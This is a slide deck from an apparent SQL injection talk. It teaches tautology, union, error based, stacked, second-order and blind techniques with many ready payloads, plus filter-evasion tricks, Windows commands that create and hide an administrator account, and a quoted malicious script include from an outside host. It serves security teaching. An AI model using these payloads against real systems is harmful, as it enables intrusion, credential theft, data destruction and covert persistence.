A pragmatic approach to different SQL Injection techniques such as Stacked statements, Tautology based, Union based, Error based, Second Order and Blind SQL Injection coherently explaining the path behind these attacks including tips and tricks to make them more likely to work in real life.
Also I will show you ways to avoid weak defenses as black listing and quote filtering as well as how privilege escalation may take place from this sort of vulnerabilities.
There will be a live demonstration where you can catch on some handy tools and actually see blind sql injection working efficiently with the latest techniques showing you why this type of SQL injection shouldn't be taken any less seriously than any other.
Finally, a word on countermeasures and real solutions to prevent these attacks, what you should do and what you should not.
http://videos.sapo.pt/ZvwITnTBMzD8HYvEZrov (video)
13. SQL Injection:
#01 - Bobby Tables
SELECT (user,first_name,last_name)
FROM Students
WHERE (user == ’$user’);
13
14. SQL Injection:
#01 - Bobby Tables
SELECT (user,first_name,last_name)
FROM Students
WHERE (user == ’$user’);
Robert’); DROP Table Students;--
I’ll be back...
14
15. SQL Injection:
#01 - Bobby Tables
SELECT (user,first_name,last_name)
FROM Students
WHERE (user == ’$user’);
Robert’); DROP Table Students;--
Prefix
I’ll be back...
14
16. SQL Injection:
#01 - Bobby Tables
SELECT (user,first_name,last_name)
FROM Students
WHERE (user == ’$user’);
Robert’); DROP Table Students;--
Prefix Payload
I’ll be back...
14
17. SQL Injection:
#01 - Bobby Tables
SELECT (user,first_name,last_name)
FROM Students
WHERE (user == ’$user’);
Robert’); DROP Table Students;--
Prefix Payload Suffix
I’ll be back...
14
22. Developer Warning #02
Validate your inputs
do not trust in code
executed in the Client side
My name is Mohammed
JaLaScript and I swear validation should be done
I’m innocent! Server side
19
24. SQL Injection:
the shotguns
• burp suite
• Netsparker
• WebInspect
• Acunetix Web Vulnerability Scanner
• Webscarab
• w3af
21
25. SQL Injection:
the dojos
• OWASP webgoat
• Hacme series from Foundstone
• Damn Vulnerable Web App
• BadStore
• Multillidae
22
26. what can you do with
SQL injection?
• information disclosure • remote file inclusion
• authentication bypass • cross site scripting
• execute remote • DNS hijacking
commands
• massive malware
• data corruption diffusion
• denial of service • privilege escalation
23
27. Authentication bypass
#02 - RitsBlog
In jobs.php:
if ($_GET[j] == "login"){
if ($blog -> login($_GET[p])){
$_SESSION[loggedin] = "ok";
$_SESSION[userID] = $blog -> userID;
echo "Password found. Loging in...";
...
In ritsBlogAdmin.class.php:
function login($password){
global $db;
$sql = "select * from users where secretWord = '$password'";
...
}
http://www.site.com/path/blogAdmin/jobs.php?
j=login&p=1'or'1'='1
24
28. Tautology based
SQL injection
• ') or '1'='1--
• admin' --
• ') or ('1'='1--
• admin' #
• having 1=1
• admin'/*
• Group By ID having
• ' or 1=1--
1=1
• ' or 1=1#
• a very big number
• ' or 1=1/*
• ...
25
29. Authentication bypass
#03 - CS Cart (cookies)
In /core/user.php:
if (fn_get_cookie(AREA_NAME . '_user_id')) {
$udata = db_get_row("SELECT user_id, user_type, tax_exempt, last_login,
membership_status, membership_id FROM $db_tables[users] WHERE
user_id='".fn_get_cookie(AREA_NAME . '_user_id')."'
AND password='".fn_get_cookie(AREA_NAME . '_password')."'");
fn_define('LOGGED_VIA_COOKIE', true);
}
Cookie:
cs_cookies[customer_user_id]=1'/*;
26
30. Malware Inclusion
#04 - United Nations
<option value="index.asp?OrgID=71">Department
of Peacekeeping Ope<script src=http://
www.nihaorr1.com/1.js></script></option>
27
41. Union based
SQL Injection - dirty tricks
getting the number of columns in the selection
http://example/index.php?id=1 ORDER BY 1--
http://example/index.php?id=1 ORDER BY 2--
http://example/index.php?id=1 ORDER BY 3--
http://example/index.php?id=1 ORDER BY 4--
http://example/index.php?id=1 ORDER BY 5--
http://example/index.php?id=1 ORDER BY 6--
...
33
42. Union based
SQL Injection - dirty tricks
MySQL:
Unknown column 'NUM' in 'order clause'
PostgreSQL:
ORDER BY position NUM is not in select list
Microsoft SQL Server:
The ORDER BY position number NUM is out of range of
the number of items in the select list
Oracle:
ORA-01785: ORDER BY item must be the number of a
SELECT-list expression
34
43. Union based
SQL Injection - dirty tricks
testing
datatypes
string/int
MySQL
isolate • 1 UNION select 1,’2’,3,’4’,5,6,7,8
contents
avoid • -1 UNION select 1,2,version(),4,user(),database(),7,8
distinct
selections
• -1 UNION ALL select
NULL,NULL,version(),NULL,user(),database(),NULL,NULL
• -1 UNION ALL select NULL,NULL,NULL,NULL,
NULL,UNHEX(HEX(version())),NULL,NULL--
avoid avoid extra
collations SQL mess
conflicts
35
44. Union based
SQL Injection - dirty tricks
MySQL
• -1 UNION ALL select 1,2,table_name from avoid
information_schema.tables incompatible
types
• -1 UNION ALL select NULL,NULL,table_name from
information_schema.tables
• -1 UNION ALL select 1,2,column_name from
information_schema.columns limit 0,1 avoid single
limit 1,1 record view
restriction
limit 2,1
you may also try
group_concat()
for multiple rows
as a string
36
45. Union based
SQL Injection - dirty tricks
MySQL
• -7 union all select 1,2,concat(username,0x3a,password)from
admin/*
• -7 union all select 1,2 concat(user,0x3a,pass,0x3a,email)
from users/*
concat is
your friend
37
46. Developer Warning #03
filtering and blacklisting are weak
SELECT/**/password/**/FROM/**/Members
strings without white spaces string without quotes
SELECT+password+FROM+Members
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
SELECT LOAD_FILE(0x633A5C626F6F742E696E69)
SeLeCt blacklisted words
SELSELECTECT
these count as SELECT too!
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554
38
47. Developer Warning #04
filtering and blacklisting are weak
You’re the weak!
• ModSecurity
• PHPIDS
• GreenSQL
• ... suggested reading:
SQLi filter evasion and obfuscation
by Johannes Dahse,
Prague, Czech Republic
39
48. Error based
SQL Injection
SQL Server
• http://[site]/page.asp?id=1 or 1=convert(int,(USER))--
Syntax error converting the nvarchar value '[DB USER]' to a column
of data type int.
• http://[site]/page.asp?id=1 or 1=convert(int,(DB_NAME))--
Syntax error converting the nvarchar value '[DB NAME]' to a column
of data type int.
• http://[site]/page.asp?id=1 or 1=convert(int,(@@VERSION))--
Syntax error converting the nvarchar value '[DB VERSION]' to a
column of data type int.
• http://[site]/page.asp?id=1 or 1=convert(int,(@@SERVERNAME))--
Syntax error converting the nvarchar value '[SERVER NAME]' to a
column of data type int.
40
49. Error based
SQL Injection - dirty tricks
avoid quote
filtering SQL Server
• http://[site]/page.asp?id=convert(int,(select top 1 name from sysobjects where
xtype=char(85)))--
Syntax error converting the nvarchar value '[TABLE NAME 1]' to a column of data
type int.
• http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from sysobjects
where xtype=char(85) and name <>'TABLE-NAME-1'))--
avoid single record view restriction
Syntax error converting the nvarchar value '[TABLE NAME 2]' to a column of data
type int.
• http://[site]/page.asp?id=1 or 1=convert(int,(select top 1 name from
sysobjects where xtype=char(85) and name <>'TABLE-NAME-1' and name <>'TABLE-
NAME-2'))--
Syntax error converting the nvarchar value '[TABLE NAME 3]' to a column of data
type int.
41
50. Error based
SQL Injection
SQL Server
knowing DB_NAME and TABLE-NAME...
• http://[site]/page.asp?id=1 or 1=convert(int,(select top 1
column_name from DBNAME.information_schema.columns where
table_name='TABLE-NAME-1'))--
Syntax error converting the nvarchar value '[COLUMN NAME
1]' to a column of data type int.
...
42
51. Stacked Statements
SQL Injection
Bypassing authentication and escalating privileges
(schema/DBMS dependant)
• z'; UPDATE Login SET PasswordHash
='0fa5fed80fc582282430f9a79cb2669e',
Salt = 'Daniels' WHERE login =
'BigCatAccount'--
Jack
• y'; UPDATE Login SET ProfileID = 1
WHERE login = 'MyAccount' --
• z'; UPDATE Login SET EmailAddr
='francisco@ironik.org' WHERE login =
'BigCatAccount'--
43
52. Stacked Statements
SQL Injection
Bypassing authentication and escalating privileges
(schema/DBMS dependant)
suggested reading:
Advanced SQL Injection
by Joe McCray,
Learn Security Online
43
53. Second Order
SQL Injection
PHP Basic School injection doesn’t occur at
student registration form the same time of execution
‣ User: Robert’); DROP TABLE Students;--
‣ Birthday: 11/02/87
‣ Phone: 931231631
‣ Email: bobby’); DROP TABLE google_emails;--@gmail.com
44
54. Second Order
injection doesn’t occur
here, yet..
SQL Injection
registration successful
user Robert’); DROP TABLE Students;--
successfully created!
45
55. SQL Injection:
there goes
#01 - Bobby Tables
listing students
SELECT (user,first_name,last_name)
FROM Students
WHERE (user == ’$user’);
told ya.
46
56. SQL Injection:
there goes
#01 - Bobby Tables
listing students
SELECT (user,first_name,last_name)
FROM Students
WHERE (user == ’$user’);
suggested reading:
Advanced SQL Injection In SQL Server Applications
Chris Anley, NGSSoftware
told ya.
46
58. Remote command
execution
(DBMS dependent)
net user [USER] [Pass] /add &
net Localgroup Administrators [USER] /add &
net group "Domain Admins" [USER] /add &
net localgroup "Remote Desktop Users" [USER] /add &
reg add "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccounts
UserList" /v [USER] /t REG_DWORD /d 0
47
59. Remote command
execution
• Bruteforce the 'sa' password and escalate privileges
using local or remote server CPU!
• Upload bindshells that will only start on a port allowed
by the firewall, either inbound or outbound
• Create a VNC server packed as an injectable DLL,
convert it to a debug script and upload it
• Disable DEP, if needed!
• Start the executable,
inject the DLL and have fun!
48
60. Remote command
execution
• Bruteforce the 'sa' password and escalate privileges
using local or remote server CPU!
• Upload bindshells that will only start on a port allowed
by the firewall, either inbound or outbound
• Create a VNC server packed as an injectable DLL,
convert it to a debug script and upload it
suggested reading:
• Disable DEP, if needed! Building the bridge between the
web app and the OS:
• Start the executable, “GUI access through SQL Injection”,
inject the DLL and have fun! Alberto Revelli,
Portcullis Computer Security
48
73. Blind SQL Injection
getting DB_NAME()
splitting target
domain by 2
(think of quicksort)
2 1
;IF(ASCII(lower(substring((DB_NAME()),1,1)))>94)
WAITFOR DELAY '0:0:5'-- 2 <110
3 <105
. =106
N =...
=109
prioritize most
frequent chunks of
ASCII table in the
target language
57
74. Blind SQL Injection
listing table names
• ; IF (ASCII(lower(substring((SELECT
TOP 1 NAME from sysobjects where
xtype=char(85)),1,1)))=117) WAITFOR
DELAY '0:0:2'--
• ; IF (ASCII(lower(substring((SELECT
TOP 1 NAME from sysobjects where
xtype=char(85) and name<>'TABLE-
NAME-1'),1,1)))=117) WAITFOR DELAY
'0:0:2'--
...
58
75. Blind SQL Injection
listing table names
• ; IF (ASCII(lower(substring((SELECT
TOP 1 NAME from sysobjects where
2 1
xtype=char(85)),1,1)))=117) WAITFOR
DELAY '0:0:2'--
• ; IF (ASCII(lower(substring((SELECT
TOP 1 NAME from sysobjects where
xtype=char(85) and name<>'TABLE-
2 1
NAME-1'),1,1)))=117) WAITFOR DELAY
'0:0:2'--
...
58
76. Blind SQL Injection
listing column names (or any other table)
• ; IF (ASCII(lower(substring((SELECT TOP 1
column_name from
DB-NAME.information_schema.columns
where table_name='TABLE-NAME'),1,1)))=117)
WAITFOR DELAY '0:0:5'--
• ; IF (ASCII(lower(substring((SELECT TOP 1
column_name from
DB-NAME.information_schema.columns
where table_name='TABLE-NAME'
AND column_name <> ‘COLUMN-NAME-1’),
1,1)))=117) WAITFOR DELAY '0:0:5'--
...
59
77. Blind SQL Injection
listing column names (or any other table)
• ; IF (ASCII(lower(substring((SELECT TOP 1
column_name from
row DB-NAME.information_schema.columns
2 1
table where table_name='TABLE-NAME'),1,1)))=117)
WAITFOR DELAY '0:0:5'--
• ; IF (ASCII(lower(substring((SELECT TOP 1
column_name from
DB-NAME.information_schema.columns
field denial
where table_name='TABLE-NAME'
2
AND column_name <> ‘COLUMN-NAME-1’),
1
1,1)))=117) WAITFOR DELAY '0:0:5'--
...
59
78. Blind SQL Injection
with Regular Expressions
MySQL - listing table names
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-g]' LIMIT 0,1)
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-n]' LIMIT 0,1)
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[h-l]' LIMIT 0,1)
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^m' LIMIT 0,1)
• index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1)
60
79. Blind SQL Injection
with Regular Expressions
The first character of the table is 'n'.
But are there other table names starting with 'n'?
• index.php?id=1 and 1=(SELECT 1 FROM
information_schema.tables WHERE
TABLE_SCHEMA="blind_sqli" AND
table_name REGEXP '^n' LIMIT 1,1)
that’s our move
61
80. Blind SQL Injection
with Regular Expressions
now on we must change the regular expression like this:
'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' ->
FALSE
you can confirm by testing: '^news$'
62
81. Blind SQL Injection
with Regular Expressions
now on we must change the regular expression like this:
'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' ->
FALSE
you can confirm by testing: '^news$'
suggested reading:
Blind Sql Injection with Regular
Expressions Attack,
R00T_ATI & white_sheep,
IHTeam
62
82. Deep Blind SQL
Injection
2 requests -> one byte
DECLARE @x as int; DECLARE @w as char(6);
SET
@x=ASCII(SUBSTRING(master.dbo.fn_varbintohe
xstr(CAST(QUERY"as
varbinary(8000))),POSITION",1));
IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;
SET @w='0:0:'+CAST(@x*SECONDS"as char);
WAITFOR DELAY @w
63
83. Deep Blind SQL
Injection
2 requests -> one byte
DECLARE @x as int; DECLARE @w as char(6);
SET
@x=ASCII(SUBSTRING(master.dbo.fn_varbintohe
xstr(CAST(QUERY"as
varbinary(8000))),POSITION",1));
IF @x>97 SET @x=@x-87 ELSE SET @x=@x-48;
SET @w='0:0:'+CAST(@x*SECONDS"as char);
WAITFOR DELAY @w suggested reading:
Deep Blind SQL Injection,
Ferruh Mavituna,
Portcullis Computer Security
63
84. Deep Blind SQL
higher frequency
smaller delays
Injection
SQL Server
2 requests -> one byte (avg <6 secs)
SELECT CASE
WHEN ASCII(lower(substring((SQL Query), Position, 1))) <94
! THEN WAITFOR DELAY '0:0:6' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) <100
! THEN WAITFOR DELAY '0:0:1' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) <105
! THEN WAITFOR DELAY '0:0:2' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) <111
! THEN WAITFOR DELAY '0:0:3' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) <117
! THEN WAITFOR DELAY '0:0:4' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) <123
! THEN WAITFOR DELAY '0:0:5' --
64
85. Deep Blind SQL
Injection
SQL Server
2 requests -> one byte (avg <6 secs)
knowing it’s in range 100:104...
SELECT CASE
WHEN ASCII(lower(substring((SQL Query), Position, 1))) =100
! THEN WAITFOR DELAY '0:0:1' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) =101
! THEN WAITFOR DELAY '0:0:2' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) =102
! THEN WAITFOR DELAY '0:0:3' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) =103
! THEN WAITFOR DELAY '0:0:4' --
WHEN ASCII(lower(substring((SQL Query), Position, 1))) =104
! THEN WAITFOR DELAY '0:0:5' --
65
86. SQL injection
techniques
• Stacked statements
• Tautology based
• Union based
• Error based
• Second Order
• Blind
66
87. SQL injection
techniques
• Stacked statements
• Tautology based
• Union based
• Error based
suggested reading:
SQL Injection,
• Second Order Classification of SQL Injection
Attacking Vector, till 2010,
Wikipedia
• Blind
66
88. Developer Warning #06
ORMs are not bulletproof
Hibernate (HDL):
Payment payment = (Payment) session.find("from
com.example.Payment as payment where payment.id = " +
paymentIds.get(i));
injectable!
67
94. References
• SQLi filter evasion and obfuscation by Johannes Dahse, Prague, Czech
Republic
• Advanced SQL Injection by Joe McCray, Learn Security Online
• Advanced SQL Injection In SQL Server Applications, Chris Anley,
NGSSoftware
• Building the bridge between the web app and the “GUI access through
SQL Injection”,Alberto Revelli, Portcullis Computer Security
• Blind Sql Injection with Regular Expressions Attack, R00T_ATI &
white_sheep, IHTeam
• Deep Blind SQL Injection, Ferruh Mavituna, Portcullis Computer Security
73
95. References
• SQL Injection, Classification of SQL Injection Attacking
Vector, till 2010, Wikipedia
• www.evilsql.com
• Replaying with Blind SQL Injection, Chema Alonso and
Palako
• Haxxor Security: Speeding up Blind SQL Injection using
Conditional errors in MySQL
• The Web Application Hackers Handbook, Discovering and
Exploiting Security Flaws, Wiley
74